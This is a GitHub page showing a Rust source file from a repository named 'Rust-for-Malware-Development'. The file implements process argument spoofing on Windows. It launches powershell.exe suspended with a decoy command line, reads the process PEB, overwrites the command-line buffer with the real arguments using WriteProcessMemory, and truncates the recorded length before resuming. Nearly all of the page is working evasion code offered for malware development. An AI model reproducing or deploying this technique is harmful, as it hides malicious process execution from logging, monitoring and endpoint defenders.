forked from Whitecat18/Rust-for-Malware-Development
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathprocess_argument_spoofing.rs
309 lines (265 loc) · 9.19 KB
/
process_argument_spoofing.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
/*
Process Argument Spoofing
For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
Resources Used: MALDEV ACADEMY COURSE(C), WINAPI
@5mukx
*/
use std::ptr::null_mut;
use memoffset::offset_of;
use ntapi::{ntpsapi::ProcessBasicInformation, ntrtl::RTL_USER_PROCESS_PARAMETERS};
use winapi::{ctypes::c_void,
shared::ntdef::{NT_SUCCESS, UNICODE_STRING},
um::{handleapi::CloseHandle,
memoryapi::{ReadProcessMemory, WriteProcessMemory},
processthreadsapi::ResumeThread,
synchapi::WaitForSingleObject
}
};
use ntapi::ntpsapi::PEB_LDR_DATA;
use ntapi::ntpsapi::{NtQueryInformationProcess, PROCESS_BASIC_INFORMATION};
use winapi::um::{errhandlingapi::GetLastError, processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW}};
macro_rules! okey {
($msg:expr, $($arg:expr), *) => {
println!("\\_____[+] {}", format!($msg, $($arg), *));
}
}
macro_rules! error{
($msg:expr, $($arg:expr), *) => {
println!("\\_____[-] {}", format!($msg, $($arg), *));
println!("Exiting ...");
}
}
macro_rules! wide_string {
($s:literal) => {{
const INPUT: &[u8] = $s.as_bytes();
let output_len = utf16_len(INPUT) + 1;
let mut buffer = vec![0; output_len];
let mut input_pos = 0;
let mut output_pos = 0;
while let Some((mut code_point, new_pos)) = decode_utf8_char(INPUT, input_pos) {
input_pos = new_pos;
if code_point <= 0xffff {
buffer[output_pos] = code_point as u16;
output_pos += 1;
} else {
code_point -= 0x10000;
buffer[output_pos] = 0xd800 + (code_point >> 10) as u16;
output_pos += 1;
buffer[output_pos] = 0xdc00 + (code_point & 0x3ff) as u16;
output_pos += 1;
}
}
buffer.as_ptr()
}};
}
pub const fn utf16_len(bytes: &[u8]) -> usize {
let mut pos = 0;
let mut len = 0;
while let Some((code_point, new_pos)) = decode_utf8_char(bytes, pos) {
pos = new_pos;
len += if code_point <= 0xffff { 1 } else { 2 };
}
len
}
pub const fn decode_utf8_char(bytes: &[u8], mut pos: usize) -> Option<(u32, usize)> {
if bytes.len() == pos {
return None;
}
let ch = bytes[pos] as u32;
pos += 1;
if ch <= 0x7f {
return Some((ch, pos));
}
if (ch & 0xe0) == 0xc0 {
if bytes.len() - pos < 1 {
return None;
}
let ch2 = bytes[pos] as u32;
pos += 1;
if (ch2 & 0xc0) != 0x80 {
return None;
}
let result: u32 = ((ch & 0x1f) << 6) | (ch2 & 0x3f);
if result <= 0x7f {
return None;
}
return Some((result, pos));
}
if (ch & 0xf0) == 0xe0 {
if bytes.len() - pos < 2 {
return None;
}
let ch2 = bytes[pos] as u32;
pos += 1;
let ch3 = bytes[pos] as u32;
pos += 1;
if (ch2 & 0xc0) != 0x80 || (ch3 & 0xc0) != 0x80 {
return None;
}
let result = ((ch & 0x0f) << 12) | ((ch2 & 0x3f) << 6) | (ch3 & 0x3f);
if result <= 0x7ff || (0xd800 <= result && result <= 0xdfff) {
return None;
}
return Some((result, pos));
}
if (ch & 0xf8) == 0xf0 {
if bytes.len() - pos < 3 {
return None;
}
let ch2 = bytes[pos] as u32;
pos += 1;
let ch3 = bytes[pos] as u32;
pos += 1;
let ch4 = bytes[pos] as u32;
pos += 1;
if (ch2 & 0xc0) != 0x80 || (ch3 & 0xc0) != 0x80 || (ch4 & 0xc0) != 0x80 {
return None;
}
let result = ((ch & 0x07) << 18) | ((ch2 & 0x3f) << 12) | ((ch3 & 0x3f) << 6) | (ch4 & 0x3f);
if result <= 0xffff || 0x10ffff < result {
return None;
}
return Some((result, pos));
}
None
}
#[allow(non_camel_case_types)]
pub type PPS_POST_PROCESS_INIT_ROUTINE = Option<unsafe extern "system" fn()>;
#[allow(non_snake_case)]
#[repr(C)]
pub struct PEB {
pub Reserved1: [u8; 2],
pub BeingDebugged: u8,
pub Reserved2: [u8; 1],
pub Reserved3: [*mut c_void; 2],
pub Ldr: *mut PEB_LDR_DATA,
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
pub Reserved4: [*mut c_void; 3],
pub AtlThunkSListPtr: *mut c_void,
pub Reserved5: *mut c_void,
pub Reserved6: u32,
pub Reserved7: *mut c_void,
pub Reserved8: u32,
pub AtlThunkSListPtr32: u32,
pub Reserved9: [*mut c_void; 45],
pub Reserved10: [u8; 96],
pub PostProcessInitRoutine: PPS_POST_PROCESS_INIT_ROUTINE,
pub Reserved11: [u8; 128],
pub Reserved12: [*mut c_void; 1],
pub SessionId: u32,
}
fn main(){
unsafe{
let mut startup_info: STARTUPINFOW = std::mem::zeroed();
startup_info.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();
let mut command_line:Vec<u16> = "powershell.exe argument spoofing\0".encode_utf16().collect();
// let mut command_line: Vec<u16> = "powershell.exe ping -n 50 google.com\0".encode_utf16().collect();
let create_process = CreateProcessW(
null_mut(),
command_line.as_mut_ptr() as *mut u16,
null_mut(),
null_mut(),
0,
0x00000004 | 0x08000000,
null_mut(),
wide_string!("C:\\Windows\\System32"),
&mut startup_info,
&mut process_info,
);
if create_process == 0{
error!("CreateProcessW Failed with errror: {}", GetLastError());
return;
}
okey!("Targert Process ID: {}", process_info.dwProcessId);
let hprocess = process_info.hProcess;
let hthread = process_info.hThread;
let mut pbi: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
let mut return_len: u32 = 0;
let nt_status = NtQueryInformationProcess(
hprocess,
ProcessBasicInformation,
&mut pbi as *mut PROCESS_BASIC_INFORMATION as *mut c_void,
std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as u32 ,
&mut return_len,
);
if !NT_SUCCESS(nt_status) {
error!("NtQueryInformationProcess failed with status: {}", nt_status);
ClosePT(hprocess, hthread);
return;
}
okey!("Address to PEB: {:?}",pbi.PebBaseAddress);
let mut ppeb: PEB = std::mem::zeroed();
let mut p_params: RTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();
let mut bytes_read: usize = 0;
let success = ReadProcessMemory(
hprocess,
pbi.PebBaseAddress as *mut c_void,
&mut ppeb as *mut _ as *mut c_void,
std::mem::size_of::<PEB>(),
&mut bytes_read,
);
if success == 0{
error!("ReadProcessMemory (1) faied: {}", GetLastError());
ClosePT(hprocess, hthread);
return;
}
// using ppeb
let success = ReadProcessMemory(
hprocess,
ppeb.ProcessParameters as *const c_void,
&mut p_params as *mut _ as *mut c_void,
std::mem::size_of::<RTL_USER_PROCESS_PARAMETERS>() + 255,
null_mut(),
);
if success == 0{
error!("ReadProcessMemory (1) faied: {}", GetLastError());
ClosePT(hprocess, hthread);
return;
}
let reajust_argument: Vec<u16> = "powershell.exe -NoExit calc.exe\0".encode_utf16().collect();
let success = WriteProcessMemory(
hprocess,
p_params.CommandLine.Buffer as _,
reajust_argument.as_ptr() as _,
reajust_argument.len() * std::mem::size_of::<u16>() +1,
null_mut(),
);
if success == 0 {
error!("WriteProcessMemory (1) failed with error: {}",GetLastError());
ClosePT(hprocess, hthread);
return;
}
// let new_len_power: u32 = "powershell.exe\0".len() as u32;
let new_len_power: usize = "powershell.exe\0".encode_utf16().count() * std::mem::size_of::<u16>();
let written = ppeb.ProcessParameters as usize + offset_of!(RTL_USER_PROCESS_PARAMETERS, CommandLine)
+ offset_of!(UNICODE_STRING, Length);
//
let success = WriteProcessMemory(
hprocess,
written as *mut c_void,
&new_len_power as *const _ as *const c_void,
std::mem::size_of::<u32>(),
null_mut(),
);
if success == 0 {
error!("WriteProcessMemory (2) failed with error: {}",GetLastError());
ClosePT(hprocess, hthread);
return;
}
okey!("Thread Executed {}",'!');
ResumeThread(hthread);
WaitForSingleObject(hthread, 0xFFFFFFFF);
CloseHandle(hprocess);
CloseHandle(hthread);
}
}
#[allow(non_snake_case)]
fn ClosePT(hprocess: *mut c_void, hthread: *mut c_void){
unsafe{
// TerminateProcess(hprocess, 0);
CloseHandle(hprocess);
CloseHandle(hthread);
}
// std::process::exit(0);
}